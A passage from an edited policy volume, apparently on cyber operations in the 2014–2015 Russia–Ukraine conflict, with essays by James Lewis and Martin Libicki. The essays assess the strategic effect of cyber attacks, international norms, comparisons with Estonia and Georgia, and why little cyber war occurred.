ties, they shifted the onus of escalation onto NATO to reverse the fait accompli.
In a sense, they created a situation in which NATO leaders must choose between suffer- ing a harsh strategic defeat (the eruption of war in Europe) and the accommodation of the Russian annexation of Crimea and ongoing pressure against Ukraine.
Cyber power, either in the form of direct attacks or a concerted information campaign, was used to create this dilemma for NATO by delaying a Western response until these stark choices emerged.
The lesson is clear: if one can defeat an opponents strategy, then it is possible to achieve ones objectives without defeating an opponents forces or triggering execution of a deterrent threat.
39 Compelling Opponents to Our Will: The Role of Cyber Warfare in Ukraine James Andrew Lewis Centre for Strategic and International Studies (CSIS) 1 Metric for Cyber Attack The conflict in Ukraine has challenged fundamental elements of Western alliance strategy.
Russian efforts exploit a general reluctance by the West natural in democ- racies to risk war.
The West has been unable to deter Russia from its adventure.
Cyber warfare has played only a limited role in this.
The concepts of strategic and military effect provide us with two metrics for assessing the effect of cyber attacks gen- erally, and for Russian cyber activities in Ukraine.
Strategic effect would be to dimin- ish the opponents will or capacity to resist.
This can include politically coercive cyber actions such as were used against Estonia.
Military effect would be degradation in the performance of commanders, troops, and weapons, demonstrated by U.S. actions in its Middle Eastern conflicts or as part of the 2007 Israeli airstrike in Syria1.
Cyber attacks that produce strategic or military effect can include the manipula- tion of software, data, knowledge, and opinion to degrade performance and produce political or psychological effect.
Introducing uncertainty into the minds of opposing commanders or political leaders is a worthy military objective.
Manipulating public opinion to damage an opponents legitimacy and authority in both domestic and international audiences is also valuable.
Some actions may provide only symbolic effect aimed at a domestic audience, but this too is valuable for a nation in conflict.
1 David Makovsky.
The Silent Strike: How Israel bombed a Syrian nuclear installation and kept it secret, The New Yorker, 17 September 2012, http://www.newyorker.com/magazine/2012/09/17/the-silent-strike.
Chapter 4 40 To assess non-kinetic effect as a contributor for strategic or military advan- tage, we must look for observable effects in three categories: creating confusion, shaping opinion, and inflicting damage to data or services.
Using these metrics, we can conclude that Russian cyber efforts in Ukraine produced an early tactical effect that has since tapered off and, since they are limited to actions that do not produce physical or disruptive consequences, have largely failed to achieve stra- tegic or military effect.
2 Strategic and Military Effect The Ukraine conflict has been described as hybrid warfare a mixture of unconven- tional tactics and strategies, irregular forces, covert action, cyber operations, and political manipulation to achieve strategic goals.
In essence, hybrid warfare is a col- lection of tactics designed to circumvent deterrence and avoid military retaliation by skirting the threshold of what could be considered state use of armed force.
In this new style of conflict, non-kinetic actions can be as important as kinetic attacks.
Hybrid warfare highlights the central problem for our understanding and manage- ment of interstate conflict conventional warfare is now only part of a larger range of coercive actions available to nations.
Cyber operations the ability to remotely manipulate computer networks have created a capability that is well suited to this new political-military environ- ment.
Cyber capabilities create an oper- ational space in which nations can con- duct offensive action with less political risk, given the grey area in international law which cyber war inhabits, and where opponents can find it difficult to respond.
Advanced cyber action can create physical effects equivalent to kinetic attack, but we should not interpret cyber capabilities solely from the perspective of physical effect.
While cyber attacks can produce effects similar to kinetic weapons, there is an informational aspect involving the manipulation of opinion and decision-making that is equally important and much more frequently used.
Cyber attack can pro- duce results equivalent to kinetic attack, but this is not its primary effect, which (at least for now) is to manipulate data, knowledge, and opinion to produce polit- ical or psychological effect rather than physical damage.
Introducing uncertainty into the minds of opposing commanders or political leaders is a worthwhile mili- tary goal, as it will cause them to make mistakes or to become hesitant, providing the attacker with dominance of the battle space and the advantage of putting the defender in a reactive posture.
Cyber actions that manipulate public opinion to Cyber capabilities create an operational space in which nations can conduct offensive action with less political risk.
41 affect an opponents legitimacy and authority are also valuable in conflict among states.
Cyber attack creates an operational space for coercive action that avoids many of the political risks of kinetic warfare.
Cyber attacks are attractive in that they offer varying degrees of covertness and their treatment under international law remains ambiguous in regard to whether they qualify as an armed attack that would legiti- mise retaliation.
Although cyber tools and techniques can be used in harmful ways, they are not weapons per se, which can make it difficult to decide when a cyber incident can be considered an armed attack or a use of force.
An initial effort to define how a cyber incident could qualify as a use of force or armed attack would be to consider that an effect of the cyber action was the equivalent of an attack using conventional weapons producing physical destruc- tion or casualties.
A cyber incident that produced injury or death to persons and the destruction of or damage to property would certainly be considered as a use of force or armed attack.
A cyber attack that produced intangible effects of such scope, intensity, and duration that they are judged to have consequences or harmful effects of sufficient scale and gravity could also be considered an armed attack.
No Russian action in Ukraine rises to this level.
Overall, the use of offensive cyber capabilities for kinetic effect has been minimal, with only a few known inci- dents.
Russia is one of the most skilled among the nations who have developed cyber capabilities, but we have not seen extensive use of actual attacks against Ukraine.
Neither critical infrastructure nor Ukrainian weapons have been damaged or disrupted.
Russia has used its cyber capabilities primarily for political coercion, opinion-shaping, and intelligence gathering, and these cyber operations fall below the threshold set in Article V of the North Atlantic Treaty.
Operations in Estonia, Georgia, and now Ukraine suggest that NATO may need to adjust its thinking about how opponents will use cyber attacks.
Russia has been relatively careful in the overt use of its own forces especially compared to its actions against Georgia where the Russian Ministry of Defence con- firmed that Russian armoured units were engaged in combat for peace enforce- ment.
The Russian army occupied Georgian territory and Russian aircraft bombed targets including the capital.2 Russian actions in Ukraine took a different course.
The current caution may reflect lessons learned in Georgia or a desire to preserve some degree of deniability, and manoeuvring to avoid an overt violation of interna- tional law.
Cyber attack does not require an act of violence to compel our opponent to fulfil our will.3 Violence through cyber means is possible, but that is not the only or even primary use of cyber attack.
Its effects are more often intangible and 2 Library of Congress, Russian Federation: Legal Aspects of War in Georgia, http://www.loc.gov/law/help/russian-georgia-war.
php.
3 Clausewitzs definition of war.
42 informational, and are intended to manipulate data, create uncertainty, and shape opinion.
An emphasis on kinetic effect can obscure important operational dis- tinctions in the use of cyber techniques and complicates efforts to develop norms for cyber conflict.
3 Norms and the Application of International Law4 Russias activities in Ukraine have implications for both cyber warfare and for cyber norms.
Russian actions have carved new contours for conflict that do not map per- fectly to existing concepts and rules for warfare and defence.
Existing norms and laws for armed attack were based on the use or threat of use of physical violence and force.
These must be adjusted, if not amended, for cyber conflict.
Efforts to redefine violence and force to include the full range of possible cyber actions (such as Russian and Chinese efforts in the United Nations (UN) to define information as a weapon5) have so far introduced more ambiguity than clarity.
Information is clearly not a weapon, but a minimalist definition that emphasises kinetic effect is also inadequate in capturing the full range of cyber effects.
As such, the rules for cyber conflict pose a challenge to existing international law.
Currently, there is no agreement among leading nations, and it is interest- ing to note that with the 2015 Group of Governmental Experts (GGE), which was tasked to look at the application of international law to cyber conflict,6 this topic proved to be the most difficult.
Disagreements over the application of international law between Russia, China and a few others on one hand, and NATO nations on the other, almost derailed the talks.
The crux of the disagreement was over the application of specific provisions of the UN Charter, (the general applicability of the Charter had been agreed to in earlier GGEs), and in particular the applicability of Article 2/4 (renouncing the use of force) and Article 51 (the inherent right to self-defence).
One ques- tion for the development of further norms for cyber conflict becomes whether it is possible to move beyond the norms embedded in the UN Charter and the international agreements governing the conduct of warfare and armed conflict, to address this new aspect of warfare and to create norms that govern non-ki- 4 The author was rapporteur to the UN Group of Governmental Experts in 2010, 2013 and 2015.
5 See, for example, SCO, Agreement between the Governments of the Member States of the Shanghai Cooperation Organisation on Cooperation in the Field of International Information Security, 2009, https://ccdcoe.org/sites/default/files/documents/ SCO-090616-IISAgreementRussian.pdf [in Russian].
6 Along with norms and confidence building measures, see Group of Governmental Experts Report on Developments in the Field of Information and Telecommunications in the Context of International Security, A/70/174, 22 July 2015, UNODA, http://www.
un.org/ga/search/view_doc.asp?symbolA/70/174.
The rules for cyber conflict pose a challenge to existing international law.
http://www.un.org/ga/search/view_doc.asp?symbolA/70/174 http://www.un.org/ga/search/view_doc.asp?symbolA/70/174 43 netic action.
One possible avenue for progress would be to expand the Charter commitment to avoid actions that threaten the territorial integrity or political independence of a state (found in Articles 2/4 and 51) to explicitly include cyber actions.
Continued ambiguity over the application of these UN Charter articles serves the interests of Russia and China by not creating grounds for or legitimising retalia- tion for cyber actions.7 This includes a general rejection of Western efforts to define use of force and armed attack using the concepts of equivalence and effect.
These ambiguities, however, are not unique to cyber conflict, date from the signing of the Charter, and reflect conflicting desires to renounce the use of force while preserving the right to use force in self-defence.
The Russian and Chinese goal, similar to other actions in arms control negotiations by these countries, is to constrain the U.S. and its allies.
Intentional ambiguity may define the emerging strategic conflict between Russia and the West for the foreseeable future.
Russian cyber tactics accentuate and expand ambiguity.
The Russian concept of cyber warfare blends elements of what would be considered information warfare in the West.
It is well known that the Russians prefer to use the phrase information conflict to cyber conflict on the grounds that cyber is too narrow and technical.
Unsurprisingly, this preference reflects their use and understanding of cyber techniques.
The norms before the UN General Assembly for approval at its 70th session will reiterate the rule of international law and the UN Charter, although how these are to be applied is a matter of intense dispute.
They call for states not to attack critical infrastructure in peacetime, and to take note of the principles of humanity, neces- sity, proportionality, and distinction whey they exercise their inherent rights rec- ognised by the UN Charter, including the right of self-defence.
They do not address the use of cyber tools for political coercion, and it is interesting and indicative to note that Russia, which has made the most frequent use of cyber coercion, is the leading proponent for such norms.
State practice suggests that there is an implicit threshold among states to avoid cyber actions against each other that could be interpreted as the use of force or an armed attack.
This creates implicit norms for state behaviour derived from international practice that constrain malicious cyber actions, but these implicit norms are inadequate for this new form of conflict.
The kind of cyber conflict we have seen in Ukraine poses a challenge not only to existing Western strategy (which is based on international law and UN Charter commitments) but also for the development of norms.
If the trend in warfare is to circumvent direct con- frontation between conventional forces (particularly the conventional forces of the U.S. and its allies), and if cyber conflict will often not involve kinetic effect or territorial intrusions, existing norms and rules for conflict will have limited application.
7 According to conversations between the author and GGE representatives from many countries.
44 We can place cyber norms into four categories: Those that call for observation of existing international law regarding state responsibility, especially the laws of armed conflict Those that seek to exempt from cyber attack infrastructures where an attack could have an indiscriminate effect such as critical infrastruc- tures, including the infrastructure of the global internet Norms on state responsibilities to assist other states that are the victim of cyber attacks and Norms on the proliferation of cyber technologies that could be used for malevolent purposes (which is still nascent and suffers from defini- tional problems).
None of these norms can be easily extended to the new modes of coercion created by cyber capabilities.
The stricture that comes closest is the Article 2/4 commitment to refrain from the use of force against the political independence of another state, but cyber actions such as we have seen in Ukraine cannot be considered a use of force.
Cyber actions that do not have physical effect and which are taken outside the con- text of formal conflict do not fit well with the existing structure of international practice.
Nations appear to observe an implicit threshold for their use of cyber tools and with very few exceptions, have avoided actions that could be considered under international law as a use of force or an armed attack.
Attempts to expand these implicit understandings or to redefine the use of force to include coer- cive or politically manipulative cyber actions immediately run into problems.
The central problem is access to information, because sev- eral countries would happily support a norm that restricts access to information.
Russia, in particular, is quick to label any criticism of its behaviour as disinforma- tion, information warfare, or propaganda.
Russian negotiating behaviour, shaped in good measure by Soviet precedent, is often defensive, seeking to constrain the U.S. and its allies in areas where the West has a technological advantage, or to limit the political risks the internet creates.
This defensive orientation creates a negotiating agenda that conflicts with Western countries when it comes to norms.
4 Comparing Ukraine to Estonia and Georgia Contrasting Russian cyber activities in Ukraine with Estonia and Georgia is helpful in assessing their use and value, as well as in considering what new norms might look like.
The cyber attacks in Estonia8, composed of service disruptions and denial 8 Eneken Tikk, Kadri Kaska and Liis Vihul.
International Cyber Incidents: Legal Considerations (Tallinn, Estonia: NATO Coop- erative Cyber Defence of Excellence, 2010).
Nations appear to observe an implicit threshold for their use of cyber tools.
45 of service incidents, could best be compared to the online equivalent of a noisy pro- test in front of government buildings and banks.
They had little tangible effect, but they created uncertainty and fear among Estonian leaders as they were considered a potential precursor to armed Russian intervention.
In Georgia9, cyber attacks were closely coordinated with Russian military operations.
The effects of the cyber attacks in Estonia and Georgia deserve more careful study.
The attacks did not cripple or bring Estonia to its knees, and NATOs decision not to invoke Article V reflects this fact.
They were frightening not because of the cyber effect, but because of Estonian concerns about Russian intentions, NATOs reliability, and their internal Russian-speaking minority.
Similarly, cyber attacks on Georgia were largely symbolic.
The most visible incident was the defacement of the Georgian Presidents website by Russian hackers, who drew moustaches on his pho- tograph.
The most interesting part of the Georgia episode was the close operational coordination between the hackers and the Russian military.
The Russians continue to experiment with cyber tools to support their political objectives.
If the Russian goal in Ukraine is to shape global public opinion, there were some early successes in painting the Ukrainians as fascists (a favoured communist insult) guilty of human rights violations.
But no one believes that anymore, and the tide of public opinion has turned heavily against Russia.
A recent Pew Research survey on global opinion captures the change and is entitled Russia, Putin, Held in Low Esteem around the World.10 In this, the current Rus- sian regime has not done as well as its com- munist predecessors, who could at least cloak their actions in the rhetoric of Marxism.
Rus- sias current effort to hire hundreds of internet trolls11 to insert pro-Russian opinions in the Western press has proven to be feckless.
Per- haps the benefit is domestic, persuading the Russian population of the righteous- ness of Russias course of action,12 but as a tool of coercion, the absence of infor- mational disruption (as in the case of Sony or Aramco) or physical effects (as with Stuxnet) makes Russian cyber operations annoying, but ultimately inconsequential.
The most successful Russian tactics were creating or supporting pro-Russian separatist groups in areas with significant Russian-speaking minorities and then using Russian special and ultimately conventional forces to stiffen and protect these groups from the Ukrainian response.
Cyber attack was largely irrelevant.
9 Ibid.
10 Bruce Stokes.
Russia, Putin, Held in Low Esteem around the World, Pew Research Centre, 5 August 2015, http://www.pew- global.org/2015/08/05/russia-putin-held-in-low-regard-around-the-world/.
11 See, for example, Dmitry Volchek and Daisy Sindelar, One Professional Russian Troll Tells All, RadioFreeEurope/RadioLiberty, 25 March 2015, sec.
Russia, http://www.rferl.org/content/how-to-guide-russian-trolling-trolls/26919999.html.
12 Katie Simmons, Bruce Strokes and Jacob Poushter.
NATO Publics Blame Russia for Ukrainian Crisis, but Reluctant to Pro- vide Military Aid, Pew Research Centre, 15 July 2015, http://www.pewglobal.org/2015/06/10/2-russian-public-opinion-putin- praised-west-panned/.
If the Russian goal is to shape global public opinion, there were early successes in painting the Ukrainians as fascists.
46 Both Western and Russian analysts may have drawn the wrong lessons from Estonia and Georgia.
States (especially states with a fondness for Lenin) will use cyber attacks for politically coercive purposes and might use them for military purposes, to disrupt data or services.
But the incidents in Ukraine did not disrupt command and control, deny access to information, or have any noticeable military effect.
This means that we (and the Russians) may overestimate the coercive effect of cyber attacks and that their real military value is achieved when there is physical effect or disruption of data and critical services, something that most denial of ser- vice attacks cannot produce.
Cyber attacks are a support weapon and will shape the battlefield, but by themselves they will not produce victory.
Cyber attacks sup- port other weapons and operations, as in the 2007 Israeli attack against Syrian air defence.
This is still a subject of intense debate, but experience suggests that it is easy to exaggerate the effect of cyber attack.
A more accurate assessment would rank cyber activities into three categories: espionage, operational, and political.
However, note that the benefits of the former are clear, while the latter are open to question.
To provide strategic or military effect, cyber actions must produce destructive effect and be integrated into existing military structures, doctrine, planning, and operations.
Estonia and Georgia can be contrasted with two known attacks that did have military effect.
The Israeli air strike against a Syrian nuclear facility is reported to have used cyber means to disrupt Syrian air defence radars, allowing the aircraft to fly undetected across much of the country.13 In this case, there was no physical damage but a vital service was disrupted.
With Stuxnet, there was physical damage, albeit inflicted covertly, that could be duplicated in overt warfare, noting that a degree of caution is warranted to predict the effect of cyber attacks on civilian infrastructure.14 We should also note the reported use of cyber techniques by the U.S. to disrupt or confuse Taliban command and control, often with lethal results for the insurgents.15 If cyber is the weaponisation of signals intelligence, it appears that to have actual military effect, there must be physical damage.
This is a consideration of cyber as a tool of military action and does not consider either traditional methods of electronic warfare, which Russia has used extensively in Ukraine,16 nor the intelligence value of Russian cyber espionage.
We do not know the role cyber espionage played in these efforts, but if Russian successes against the United States are any guide, we can assume cyber spying made a positive contribu- 13 David Makovsky.
The Silent Strike: How Israel bombed a Syrian nuclear installation and kept it secret, The New Yorker, 17 September 2012, http://www.newyorker.com/magazine/2012/09/17/the-silent-strike.
14 Kim Zetter.
An Unprecedented Look At Stuxnet, The Worlds First Digital Weapon, Wired, 3 November 2014, http://www.
wired.com/2014/11/countdown-to-zero-day-stuxnet/.
15 Interviews with US military officials.
16 Joe Gould.
Electronic Warfare: What US Army Can Learn From Ukraine, Defense News, 4 August 2015, http://www.defense- news.com/story/defense/policy-budget/warfare/2015/08/02/us-army-ukraine-russia-electronic-warfare/30913397/.
If cyber is the weaponisation of signals intelligence, there must be physical damage.
tion.
That Russia has completely penetrated Ukrainian communication networks and has unparalleled access to Ukrainian communications is likely to provide con- siderable value for Russian tactics and planning, but cyber as a tool of coercion has proven to be of limited utility.
This is certainly not the cyber war as it is often depicted in public media, but it does not mean that cyber attack is overrated and militaries can deemphasise it.
That would be a rash conclusion.
It means that the Russians, for whatever reason, chose not to use the most damaging forms of cyber attack against Ukraine, Georgia, or Estonia.
If allegations that Russia were responsible for damaging cyber attacks on a German steel mill17 and a Turkish pipeline18 are correct, these would demon- strate that Russia has the capability necessary for cyber attacks that would create physical damage and qualify as a use of force.
Russias 2008 exploit in penetrating Central Commands classified networks19 was an early demonstration of its ability to implant malware on an opponents networks that could erase data and disrupt command and control, but the Russians chose not to do this.
In Ukraine, Russia has experimented with how best to produce military and political benefits from cyber operations.
Political context and alliance relationships have a powerful influence in constraining the use of force, including cyber attacks.
Its cyber actions appear to reflect a decision not to engage the full range of Russian cyber capabilities.
Other potential opponents, including NATO, should not assume that in the event of conflict, the Russians will make the same decision.
17 Hack attack causes massive damage at steel works, BBC, 22 December 2014, http://www.bbc.com/news/technology-30575104.
18 Ariel Bogle.
A Cyber Attack May Have Caused a Turkish Oil Pipeline to Catch Fire in 2008, Slate, 11 December 2014, http:// www.slate.com/blogs/future_tense/2014/12/11/bloomberg_reports_a_cyber_attack_may_have_made_a_turkish_oil_pipe- line_catch.html.
19 Phil Stewart and Jim Wolf.
Old worm wont die after 2008 attack on military, Reuters, 16 June 2011, http://www.reuters.com/ article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617.
http://www.bbc.com/news/technology-30575104 http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617 http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617 49 The Cyber War that Wasnt Martin Libicki RAND 1 Introduction: Isnt It Time for Cyber War?
For the last twenty years, with the advent of serious thinking about cyber war, most analysts and even the more sceptical thinkers have been convinced that all future kinetic wars between modern countries would have a clear cyber component.
How- ever, the current Russo-Ukrainian conflict is challenging this widely held notion.
Coinciding with this assumption, however, it must be said that within the past generation there have been few conflicts in which both sides appeared both capa- ble of and vulnerable to cyber attack.
Either one party to the conflict usually the United States held all the cyber cards, or neither did.
For cyber war to take place, at least one side must have enough digi- tised networked equipment to make much difference.
In some past conflicts, the US may have abstained from fir- ing digital weapons because the other side simply lacked appropriate targets.
Many analysts have speculated that the US, and now other highly networked soci- eties, may hesitate to use cyber tactics because of their own inherent vulnerabilities in this domain.
Apart from Stuxnet, the most frequently cited example of cyber war in action came during an alleged Israel Air Force strike against Syrian nuclear facilities in 2007.
Integrated air-defence systems (IADS) have been considered ripe targets for Chapter 5 Analysts have been convinced that future kinetic wars would have a clear cyber component.
50 cyber warfare, but it was understood that there would be a cost-benefit analysis relative to dispatching them using more familiar tools such as electronic warfare or missiles.
There were rumours, for example, that the US employed cyberwar tech- niques against Serbian IADS in 1999, but these rumours were never substantiated.
Even the Syrian story may be a fairy tale, as the details are classified and subject to much speculation.
It is possible that the tactics were in fact more conventional, such as traditional jamming.1 2 Unique Aspects of the Russo-Ukrainian Conflict The current Russo-Ukrainian conflict, however, is a different case, and it should help us to understand if cyber war is, in 2015, more myth or reality.
According to the prevailing assumption, this war should have seen serious and open cyber war strategies and tactics.
Both countries have technologically advanced societies and weaponry that at least came up to 1990 standards of modernity.
Both countries have a strong information technology (IT) base, and hackers a-plenty, although many of them are engaged in organised crime rather than working for the state.2 Russias state-sponsored hackers are widely believed to be on par with, or very close to, NSA- level standards.
The most notable thing about the war in Ukraine, however, is the near-com- plete absence of any perceptible cyber war.
There has been vigorous cyber espi- onage,3 the targeting of cell phones by Russian electronic warfare, and the use of old-fashioned bolt-cutters to sever lines of communication in Crimea.4 Patriotic hacktivists on both sides have conducted harassing but small cyber attacks against each other,5 both sides have conducted Distributed Deni- al-of-Service (DDoS) attacks (e.g., by Russia against Ukraines parliament),6 and 1 As Richard Clarke and Robert Knake maintain in Cyberwar, The Next Threat to National Security and What to do About It, New York NY: HarperCollins, 2010 see also David Makovsky.
The Silent Strike: How Israel bombed a Syrian nuclear installation and kept it secret, The New Yorker, 17 September 2012, http://www.newyorker.com/magazine/2012/09/17/the-silent-strike.
2 Ukraines hackers do not make as much news but consider Dan Goodin.
Strange snafu hijacks UK nuke makers traffic, routes it through Ukraine, ARS Technica UK, 13 March 2015, http://arstechnica.com/security/2015/03/mysterious-snafu-hijacks-uk- nukes-makers-traffic-through-ukraine/.
3 Apparently, the Russians have developed some powerful malware for that purpose against Ukraine: cyber-snake (aka Ourob- oros).
See Sam Jones.
Cyber Snake plagues Ukraine networks, FT Online, 7 March 2014, in http://www.ft.com/cms/s/0/615c- 29ba-a614-11e3-8a2a-00144feab7de.html or David Sanger and Steven Erlanger, Suspicion Falls on Russia as Snake Cyber- attacks Target Ukraines Government NY Times Online, 8 March 2014, http://www.nytimes.com/2014/03/09/world/europe/ suspicion-falls-on-russia-as-snake-cyberattacks-target-ukraines-government.html.
4 Sam Jones.
Kremlin alleged to wage cyber warfare on Kiev, FT Online, 5 June 2014, http://www.ft.com/intl/cms/s/0/e504e278- e29d-11e3-a829-00144feabdc0.htmlaxzz3b4c6egXI.
See also the claim of General Breedlove, EUCOMs Commander: They disconnected the Ukrainian forces in Crimea from their command and control, from Michael Gordon.
NATO Commander Says He Sees Potent Threat From Russia, NY Time Online, 2 April 2014, http://www.nytimes.com/2014/04/03/world/europe/ nato-general-says-russian-force-poised-to-invade-ukraine.html.
5 Cyber Berkut Hackers Target Major Ukrainian Bank, The Moscow Times, 4 June 2014, http://www.themoscowtimes.com/ business/article/cyber-berkut-hackers-target-major-ukrainian-bank/502992.html of July 4, 2014.
6 Nicole Perloth.
Cyberattacks Rise as Ukraine Crisis Spills to Internet, New York Times Bits, 4 March 2014, http://bits.blogs.
nytimes.com/2014/03/04/cyberattacks-rise-as-ukraine-crisis-spills-on-the-internet/.
http://www.ft.com/cms/s/0/615c29ba-a614-11e3-8a2a-00144feab7de.html http://www.ft.com/cms/s/0/615c29ba-a614-11e3-8a2a-00144feab7de.html http://www.ft.com/intl/cms/s/0/e504e278-e29d-11e3-a829-00144feabdc0.htmlaxzz3b4c6egXI http://www.ft.com/intl/cms/s/0/e504e278-e29d-11e3-a829-00144feabdc0.htmlaxzz3b4c6egXI http://www.themoscowtimes.com/business/article/cyber-berkut-hackers-target-major-ukrainian-bank/502992.html of July 4 http://www.themoscowtimes.com/business/article/cyber-berkut-hackers-target-major-ukrainian-bank/502992.html of July 4 51 a (fruitless) campaign to corrupt voting processes in Ukraine.7 However, we have seen nothing comparable to the cyber attacks carried out against Estonia in 2007 or Georgia in 2008.
On the other hand, the information and propaganda war in the social media domain (particularly from the Russian side) has been relentless.
In this regard, Mos- cow has a competitive advantage over Kyiv.
The two countries share a common lan- guage, Russian (the use of the Ukrainian language is growing fast, but that language is Slavic), and most Russian-language-friendly sites such as VKontakte (the Russian Facebook) are headquartered in Russia.
That said, little if any of the conflict taking place in social media requires subverting computers through the discovery of vul- nerabilities or the engagement of exploits.
In particular, there are two major forms of cyber attack that have not taken place in the Russo-Ukrainian conflict: attacks on critical infrastructure and attacks on defence systems.
It is possible that, in the future, we may learn that there have been such attacks, but that they were simply subtle enough to slip under the radar.
With Stuxnet, Irans centrifuge plant at Natanz was infected for six months, with centrifuges failing at unexpected rates, before Iranian engineers understood why.
Successful cyber attacks could indefinitely be ascribed to incompetent man- agement before a complete picture is understood.
And as for military systems, cred- ible stories of their successful attacks may emerge years later, when people are freer to talk about what happened in the war.
Even with all of that in mind, in the Internet era it has become difficult to keep secrets for long periods of time, and the growing absence of cyber attack evidence is turning into the evidence of absence.
3 Possible Reasons for the Absence of Cyber Conflict So, based on what we know now, why has this kinetic conflict seen so little cyber conflict?
Here are some possible answers to that question.
Ukraine does not have the requisite hackers.
Russian hackers need no introduc- tion.
They work for the state, for cyber crime syndicates, and for themselves as patri- otic hacktivist defenders of Mother Russia.
However, on the Ukrainian side (a much smaller nation to begin with), it is possible that a large percentage of the hacker talent is of Russian descent and may have divided loyalties in this conflict.
That said, 7 Mark Clayton.
Ukraine election narrowly avoided wanton destruction from hackers, Christian Science Monitor, 17 June 2014, http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hack- ers-video.
Two major forms of cyber attack have not taken place: on critical infrastructure and on defence systems.
52 many small countries have made large contributions in cyberspace, including Esto- nia, Iceland, Lebanon8 and Israel.
Neither Russia nor Ukraine has valid targets.
This gets closer to the truth.
Although the Soviet Union of 1990 had sophisticated weapons, their long suits were in metallurgy and radio-frequency devices.
When the Soviet Union collapsed, it was significantly behind the West in terms of electronics and software.
In the last five years, there has been a modest recapitalisation in Russia, but close to none in Ukraine.
Since the end of the Cold War, the United States has for the most part maintained its substantial lead over Russia in digitisation and networking.
Thus, US fears about its systems falling prey to hackers are currently not shared by the majority of nation-states, who feel that they are not particularly vulnerable.
How- ever, the truth probably lies somewhere in the middle: for example, no one is buying analogue telecommunications systems anymore, not even in the developing world.
New equipment is digital and networked, not only because it is more powerful, but because it is cheaper over the long run.
Therefore, even in Russia and Ukraine, the level of digitisation is likely high enough to engender real concerns about their soci- eties vulnerability to cyber attack.
Their militaries may be antiquated, but due to the close relationship between the IT of modern civilian and military domains, there is probably still plenty for hackers to target.
There is no need The Russians already own Ukraine: Much of Ukraines infra- structure notably the phone system dates from the Soviet era.
It is logical, there- fore, that the Russians have already wired the phone system for interception and, it would hardly be in their interest to take it down.9 This explanation does not explain anything the Ukrainian side has or has not done, nor does it explain the lack of attacks on other systems such as power, natural gas distribution or finance.
How- ever, it may help to understand a lack of attacks on telecommunications, given that a cyber attack could disrupt a lucrative cyber espionage operation by alerting defend- ers that their systems have been penetrated and forcing a system scrub.
Such action may not only knock out existing implants but also make the reinsertion of malware more difficult.
The effects of cyber attack tend to be short term, while stealthy cyber exploitation can persist for years.
Therefore, for strategic purposes, attacks such as Denial-of-Service (DoS) can be counterproductive.
Well-designed technologies like Skype, however, which have end-to-end encryption, could lessen the value of cyber espionage over time (but not by much, because encryption does not protect if com- puters on one or both ends of the conversation are compromised), and increase the likelihood of denial-of-service attacks.
Neither Russia nor Ukraine wants such an escalation: In theory, the Rus- so-Ukrainian conflict is not a war between two states, but an insurgency and count- 8 Kelly Jackson Higgins.
Lebanon Believed behind Newly Uncovered Cyber Espionage Operation, Information Week, 31 March 2015, http://www.darkreading.com/attacks-breaches/lebanon-believed-behind-newly-uncovered-cyber-espionage-opera- tion/d/d-id/1319695.
9 Jeffrey Carr, quoted in Patrick Tucker.
Why Ukraine Has Already Lost The Cyberwar, Too, Defence One, 28 April 2014, http:// www.defenseone.com/technology/2014/04/why-ukraine-has-already-lost-cyberwar-too/83350/.
53 er-insurgency campaign over territory in eastern Ukraine.
According to the Russian Government, Russian forces are not even in the fight, and thus far, neither countrys infrastructure (outside the battle zone) has been touched.
In this context, if Russia were to attack Ukraines infrastructure or vice versa it would be hard to ascribe the attack to separatists, who likely would not possess the requisite advanced hacker skills among their patriotic hacker ranks.
Organised crime syndicates may have the technical expertise, but may lack the trust or the intelligence-informed approach required.
Still, given that both of these groups enjoy some state protection in Russia, such an operation is not out of the question.
The more important point here is that any such escalation could change the narrative of the conflict from an inter-eth- nic squabble to an interstate war.
An obvious attack by Russia against Ukraines infrastructure may conflict with its current political narrative.
A Ukrainian attack against Russia could be a warning signal to Moscow that it will have to pay a price for its actions (a sporty move indeed), as well as a sign that it cannot do better in a conventional fight with the Russian military.
A wild card here is that cyber war techniques in 2015 may be viewed in and of themselves as unduly escalatory, but this fear likely does not apply to cyber attacks precisely focused on enemy military targets in theatre where their use ought to seem no more alarming than the use of, say, electronic warfare.
Finally, it is important to remember that two nuclear states may easily prefer fighting without resorting to nuclear weapons in cyber warfare, many analysts have noted that any two sides are likely riddled with exploitable vul- nerabilities.10 Cyber war is not a silver bullet.
Proponents of cyber war argue that attacks are cheap, asymmetric, effective, and risk-free.
But what if they are wrong?
A truly suc- cessful cyber attack one that does more than simply annoy defenders is harder than it looks.
Penetrating systems without getting caught requires technical exper- tise that is in short supply.
Preopera- tional reconnaissance and intelligence gathering of the kind required to cre- ate politically interesting effects such as against national critical infrastructure, or to target military defence systems takes a long time and may not produce practical results.
In 2015, it is also pos- sible that neither Russian nor Ukrainian systems are sufficiently wired to allow for easy access and manipulation.
Human-in-the-loop safeguards, for example, may prevent truly serious damage from occurring except on rare occasions.
Both crit- 10 The Russians and Ukrainians have some of the best computer people in the world, because of the Soviet legacy military indus- trial complex, says Taras Kuzio, a Ukraine expert at the School of Advanced International Studies at Johns Hopkins University.
These [Ukrainian] guys are fantastic.
So if the Russians tried something like a cyberattack, they would get it right back.
There would be some patriotic hackers in Ukraine saying, Just who are the Russians to do this to us?
from Mark Clayton.
Where are the cyberattacks?
Russias curious forbearance in Ukraine, Christian Science Monitor, 3 March 2014, http://www.csmonitor.
com/World/Security-Watch/2014/0303/Where-are-the-cyberattacks-Russia-s-curious-forbearance-in-Ukraine.-video.
A truly successful cyber attack that does more than simply annoy defenders is harder than it looks.
ical infrastructure and combat systems are designed to operate under a great deal of stress and unexpected events.
Some states may already have calculated that the effects of cyber war are limited, temporary, and hard to repeat.
Attackers also fear that digital weapons may work only once before defenders can plug the necessary holes.
In this light, is developing a cyber war arsenal really worth it?
4 Conclusion In 1972, when Chinese Premier Zhou Enlai was asked about the significance of the French Revolution of 1789, he famously said, It is too soon to say.11 With that logic in mind, it must be noted that the Internet is still a baby, and that cyber attacks are still in a nascent stage.
Despite the prevailing 25 May 2015 ceasefire, the Russo-Ukrainian conflict is not over.
Currently, it could be that neither side wants to escalate this somewhat localised conflict into the realm of interstate war, and this may inhibit operations otherwise warranted in less opaque circumstances.
Both parties to the conflict are still exploring their best options, and both are surely upgrading their traditional and digital military arsenals.
